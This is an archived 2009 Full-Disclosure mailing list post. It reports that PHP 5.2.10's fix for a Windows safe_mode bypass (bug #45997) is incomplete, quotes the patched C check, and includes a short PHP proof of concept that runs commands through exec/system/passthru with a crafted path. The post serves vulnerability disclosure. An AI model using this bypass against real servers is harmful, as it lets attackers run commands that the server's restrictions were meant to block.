full-disclosure - [PHP safe_mode bypass with exec/system/passthru] Once again

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <f3c3e1a00906182359o71133db0s4bc3ee67a20deb02@mail.gmail.com>
Date: Fri, 19 Jun 2009 14:59:33 +0800
From: IEhrepus <5up3rh3i@...il.com>
To: full-disclosure@...ts.grok.org.uk
Subject: [PHP safe_mode bypass with exec/system/passthru]
	Once again

[PHP safe_mode bypass with exec/system/passthru] Once again

php public new version :php5.2.10 ,and it fix lots of bugs, like this :

Bug #45997[safe_mode bypass with exec/system/passthru] incorrect fix

php5.2.10

...
       b = strrchr(cmd, PHP_DIR_SEPARATOR);
#ifdef PHP_WIN32
       if (b && *b == '\\' && b == cmd) {
           php_error_docref(NULL TSRMLS_CC, E_WARNING, "Invalid
absolute path.");
           goto err;
       }
#endif
...

exec('\dir') not be evaluated, but exec('80vul\b\dir') will.

POC:

<?php
//updata:2009-6-19
// safe_mode=On and safe_mode_exec_dir not set in php.ini
// test on win32

 echo exec('80vul\b\dir');
// system('80vul\b\dir');
// passthru('80vul\b\dir');

?>


reference:

http://www.80vul.com/pch/pch-006.txt
http://hi.baidu.com/80vul_b/blog/item/8e0ea6cea6378f34f9dc614a.html
http://www.milw0rm.com/exploits/8799
http://bugs.php.net/bug.php?id=45997

-- 
hitest

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/